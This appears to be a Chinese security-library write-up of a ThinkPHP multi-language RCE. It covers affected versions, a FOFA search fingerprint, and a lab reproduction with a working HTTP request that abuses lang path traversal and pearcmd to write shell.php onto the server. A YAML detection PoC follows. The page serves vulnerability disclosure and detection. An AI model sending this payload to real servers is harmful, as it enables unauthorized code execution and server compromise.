ThinkPHP 多语言模块RCE-漏洞文库小世界-安全文库-NGC660 安全实验室

ThinkPHP 多语言模块RCE

漏洞简介

如果 Thinkphp 程序开启了多语言功能,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

影响版本

受影响版本:
v6.0.1 < Thinkphp < v6.0.13
Thinkphp v5.0.x
Thinkphp v5.1.x

fofa指纹

header="think_lang"

漏洞复现


  • ThinkPHP多语言特性不是默认开启的,所以我们可以尝试访问lang=../../../../../public/index文件来确认文件包含漏洞是否存在
    m_37033a5458786c4e7fd81d7ae07903bd_r
    上述图片可以看到已经500,但是文件包含漏洞存在的情况下还需要服务器满足下面两个条件才能利用:
    1、PHP环境开启了register_argc_argv
    2、PHP环境安装了pcel/pear
    docker搭建环境,直接使用vulnhub环境

    cd lang-rce
    docker-compose up -d

    访问8080端口
    m_577b03f065de84a10af3dd5a8c1c444d_r
    漏洞利用方式:

    GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
    Host: localhost:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en-US;q=0.9,en;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
    Connection: close
    Cache-Control: max-age=0

    m_5766032b27fdc8ab038a95669bec21f8_r
    访问shell.php
    m_34dfdb792f6e285b45c751d855be541b_r
    ?lang=../../../../../public/index

    poc编写

  • 注:POST正常请求根目录即可返回正确的标识性cookie,请求其他路径若报404则不返回cookie

params: []
name: ThinkPHP 多语言模块RCE
set: {}
rules:
- method: GET
  path: /?lang=../../../../../public/index
  headers: {}
  body: ""
  search: ""
  followredirects: false
  expression: response.status == 500
- method: POST
  path: /
  headers: {}
  body: lang=../../../../../public/index
  search: ""
  followredirects: false
  expression: response.status == 200 && response.headers["Set-Cookie"].contains("think_lang")
groups: {}
detail:
  author: ""
  links: []
  description: ""
  version: ""

m_f5623d96a0186360c27938ba5d533ef5_r

请登录后发表评论

    请登录后查看回复内容